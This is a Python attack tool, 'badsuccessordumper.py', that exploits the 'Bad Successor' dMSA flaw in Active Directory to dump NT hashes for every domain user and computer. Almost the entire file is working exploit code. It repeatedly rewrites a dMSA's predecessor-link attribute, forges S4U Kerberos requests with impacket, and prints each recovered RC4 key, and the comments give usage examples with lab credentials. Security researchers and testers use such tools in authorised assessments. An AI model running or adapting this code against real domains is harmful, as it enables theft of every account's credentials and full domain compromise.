This script retrieves NT hashes of all domain users and computers using a dMSA

badsuccessordumper.py

import argparse
import datetime
import logging
import os
import random
import struct
import sys
from binascii import hexlify, unhexlify
from six import ensure_binary

from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from pyasn1.type import tag

from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
    Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart, S4UUserID, PA_S4U_X509_USER, KERB_DMSA_KEY_PACKAGE
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key, _get_checksum_profile, Cksumtype
from impacket.krb5.constants import TicketFlags, encodeFlags, ApplicationTagNumbers
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.winregistry import hexdump

from ldap3 import MODIFY_REPLACE
from pywerview.functions.net import NetRequester

# This script retrieves NT hashes of all domain users and computers using a dMSA
# It uses the Bad Successor vulnerability, found by Yuval Gordon (@YuG0rd) from Akamai
# https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory
# 
# I took the domain dumper idea from this tweet by @snovvcrash
# https://x.com/snovvcrash/status/1927516963623821733
#
# The doDMSA() function is based on the excellent work by fulc2um (you need their pull request to run this script)
# https://github.com/fortra/impacket/pull/2010
#
# Usage:
# python badsuccessordumper.py -u daenerys.targaryen --hashes $NTHASH --aes $AESKEY  -d essos.local -t 192.168.56.24 -i 'dmsa_essos$'
# python badsuccessordumper.py -u daenerys.targaryen -p 'BurnThemAll!' -d essos.local -t 192.168.56.24 -i dmsa_essos$
# python badsuccessordumper.py -u daenerys.targaryen --hashes 34534854d33b398b66684072224bb47a -d essos.local -t 192.168.56.24 -i dmsa_essos$
# The last one is prone to error while asking for the TGT if RC4 is not suported by the DC
#
# Not tested in prod, use at your own risk
#
# @lowercase_drm / ThePirateWhoSmellsOfSunflowers

def doDMSA(tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, domain, impersonate):
    decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
    # Extract the ticket from the TGT
    ticket = Ticket()
    ticket.from_asn1(decodedTGT['ticket'])

    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq, 'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = str(decodedTGT['crealm'])

    clientName = Principal()
    clientName.from_asn1(decodedTGT, 'crealm', 'cname')

    seq_set(authenticator, 'cname', clientName.components_to_asn1)

    now = datetime.datetime.now(datetime.timezone.utc)
    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 7
    # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
    # TGS authenticator subkey), encrypted with the TGS session
    # key (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    encodedApReq = encoder.encode(apReq)

    tgsReq = TGS_REQ()

    tgsReq['pvno'] = 5
    tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

    tgsReq['padata'] = noValue
    tgsReq['padata'][0] = noValue
    tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
    tgsReq['padata'][0]['padata-value'] = encodedApReq

    # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
    # requests a service ticket to itself on behalf of a user. The user is
    # identified to the KDC by the user's name and realm.
    clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

    paencoded = None
    padatatype = None
    dmsa = True 

    nonce_value = random.getrandbits(31)
    dmsa_flags = [2, 4] # UNCONDITIONAL_DELEGATION (bit 2) | SIGN_REPLY (bit 4)
    encoded_flags = encodeFlags(dmsa_flags)
    
    s4uID = S4UUserID()
    s4uID.setComponentByName('nonce', nonce_value)
    seq_set(s4uID, 'cname', clientName.components_to_asn1)
    s4uID.setComponentByName('crealm', domain) 
    s4uID.setComponentByName('options', encoded_flags)

    encoded_s4uid = encoder.encode(s4uID)
    checksum_profile = _get_checksum_profile(Cksumtype.SHA1_AES256)
    checkSum = checksum_profile.checksum(
        sessionKey, 
        ApplicationTagNumbers.EncTGSRepPart.value,
        encoded_s4uid
    )

    s4uID_tagged = S4UUserID().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))
    s4uID_tagged.setComponentByName('nonce', nonce_value)
    seq_set(s4uID_tagged, 'cname', clientName.components_to_asn1)
    s4uID_tagged.setComponentByName('crealm', domain) 
    s4uID_tagged.setComponentByName('options', encoded_flags)

    pa_s4u_x509_user = PA_S4U_X509_USER()
    pa_s4u_x509_user.setComponentByName('user-id', s4uID_tagged)
    pa_s4u_x509_user['checksum'] = noValue
    pa_s4u_x509_user['checksum']['cksumtype'] = Cksumtype.SHA1_AES256
    pa_s4u_x509_user['checksum']['checksum'] = checkSum

    padatatype = int(constants.PreAuthenticationDataTypes.PA_S4U_X509_USER.value)
    paencoded = encoder.encode(pa_s4u_x509_user)

    tgsReq['padata'][1] = noValue
    tgsReq['padata'][1]['padata-type'] = padatatype
    tgsReq['padata'][1]['padata-value'] = paencoded

    reqBody = seq_set(tgsReq, 'req-body')

    opts = list()
    opts.append(constants.KDCOptions.forwardable.value)
    opts.append(constants.KDCOptions.renewable.value)
    opts.append(constants.KDCOptions.canonicalize.value)


    reqBody['kdc-options'] = constants.encodeFlags(opts)

    serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_SRV_INST.value)

    seq_set(reqBody, 'sname', serverName.components_to_asn1)
    reqBody['realm'] = str(decodedTGT['crealm'])

    now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)

    reqBody['till'] = KerberosTime.to_asn1(now)
    reqBody['nonce'] = random.getrandbits(31)
    seq_set_iter(reqBody, 'etype',
                 (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))

    message = encoder.encode(tgsReq)

    r = sendReceive(message, domain, kdcHost)

    tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

    try:
        # Decrypt TGS-REP enc-part (Key Usage 8 - TGS_REP_EP_SESSION_KEY)
        cipher = _enctype_table[int(tgs['enc-part']['etype'])]
        plainText = cipher.decrypt(sessionKey, 8, tgs['enc-part']['cipher'])
        encTgsRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
        
        if 'encrypted_pa_data' not in encTgsRepPart or not encTgsRepPart['encrypted_pa_data']:
            logging.debug('No encrypted_pa_data found - DMSA key package not present')
            return
        
        for padata_entry in encTgsRepPart['encrypted_pa_data']:
            padata_type = int(padata_entry['padata-type'])
            logging.debug('Found encrypted padata type: %d (0x%x)' % (padata_type, padata_type))
            
            if padata_type == constants.PreAuthenticationDataTypes.KERB_DMSA_KEY_PACKAGE.value:
                dmsa_key_package = decoder.decode(
                    padata_entry['padata-value'], 
                    asn1Spec=KERB_DMSA_KEY_PACKAGE()
                )[0]
                dmsa_key_package.prettyPrint()
                
                logging.info('Current keys:')
                for key in dmsa_key_package['current-keys']:
                    key_type = int(key['keytype'])
                    key_value = bytes(key['keyvalue'])
                    type_name = constants.EncryptionTypes(key_type)
                    hex_key = hexlify(key_value).decode('utf-8')
                    logging.info('%s:%s' % (type_name, hex_key))
                logging.info('Previous keys:')
                previous_keys = []
                for key in dmsa_key_package['previous-keys']:
                    key_type = int(key['keytype'])
                    key_value = bytes(key['keyvalue'])
                    type_name = constants.EncryptionTypes(key_type)
                    hex_key = hexlify(key_value).decode('utf-8')
                    logging.info('%s:%s' % (type_name, hex_key))
                    previous_keys.append({type_name : hex_key})
    except Exception as e:
        import traceback
        traceback.print_exc()

    return r, None, sessionKey, None, previous_keys

def argparser(argv):
    arg_parser = argparse.ArgumentParser(prog='badsuccessordumper.py', description='\n Domain dumper based on  the Bad Successor vulnerability')
    arg_parser.add_argument('-u', '--user', required=True, help='User that owns the dMSA')
    arg_parser.add_argument('-p', '--password', required=False, help='Password for the user that owns the dMSA')
    arg_parser.add_argument('-d', '--domain', required=True, dest='domain', help='User domain')
    arg_parser.add_argument('-i', '--impersonnate', required=True, dest='dmsa', help='dMSA samaacountname')
    arg_parser.add_argument('--hashes', required=False, action='store', metavar = 'LMHASH:NTHASH', help='NTLM hashes, format is [LMHASH:]NTHASH')
    arg_parser.add_argument('--aes', required=False, action='store', help='AES key')
    arg_parser.add_argument('-t', '--dc-ip', dest='domain_controller', help='IP address of the Domain Controller to target')
    arg_parser.add_argument('--debug', action="store_true", help='Debug mode')
    args = arg_parser.parse_args(argv)

    if args.hashes:
        try:
            args.lmhash, args.nthash = args.hashes.split(':')
        except ValueError:
            args.lmhash, args.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes
        finally:
            args.password = str()
    else:
        args.lmhash = args.nthash = str()

    if args.password is None and not args.hashes:
        from getpass import getpass
        args.password = getpass('Password:')
    return args

args = argparser(sys.argv[1:])

host=args.domain_controller
user = args.user
domain = args.domain
password = args.password
lmhash = args.lmhash
nthash = args.nthash
dmsa = args.dmsa
debugprint = print if args.debug else lambda *a, **k: None
kdcHost = host
aesKey = args.aes

attributes = ['distinguishedname', 'samaccountname']
ldap_dmsa_custom_filter = '(&(objectclass=msDS-DelegatedManagedServiceAccount)(samaccountname={}))'

# As you may know, I love pywerview
netrequester = NetRequester(host, domain, user, password, lmhash, nthash)
ldap_dmsa_custom_filter = ldap_dmsa_custom_filter.format(dmsa)
dmsa_raw = netrequester.get_adobject(attributes=attributes, custom_filter=ldap_dmsa_custom_filter)

try:
    dmsa_dn = dmsa_raw[0].distinguishedname
    debugprint('[-] {0} distinguished name is {1}'.format(dmsa, dmsa_dn))
except IndexError:
    print('[x] dMSA account not found or {} is not allowed to retrieve it!'.format(user))
    sys.exit(1)

raw_user = netrequester.get_netuser(attributes=attributes)
raw_computer = netrequester.get_netcomputer(attributes=attributes)

debugprint('[-] It will dump {0} users and {1} computers'.format(len(raw_user), len(raw_computer)))

# Caution: PTH may raise KDC_ERR_ETYPE_NOSUPP while getting TGT
if aesKey:
    lmhash = nthash = str()
user_principal = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(user_principal, password, domain, unhexlify(lmhash), unhexlify(nthash), aesKey, kdcHost)

targets = raw_user + raw_computer
for target in targets:
    netrequester._ldap_connection.modify(dmsa_dn, {'msDS-ManagedAccountPrecededByLink': [(MODIFY_REPLACE, [target.distinguishedname])]})
    tgs, rcipher, oldSessionKey, sessionKey, previous_keys = doDMSA(tgt, cipher, oldSessionKey, sessionKey, unhexlify(nthash), aesKey, kdcHost, domain, dmsa)
    sessionKey = oldSessionKey
    for key in previous_keys:
        try:
            print("{0}\\{1}:{2}".format(domain, target.samaccountname, key[constants.EncryptionTypes.rc4_hmac]))
            break
        except:
            # Computer accounts have also AES in the previous keys array, ignoring them for now
            pass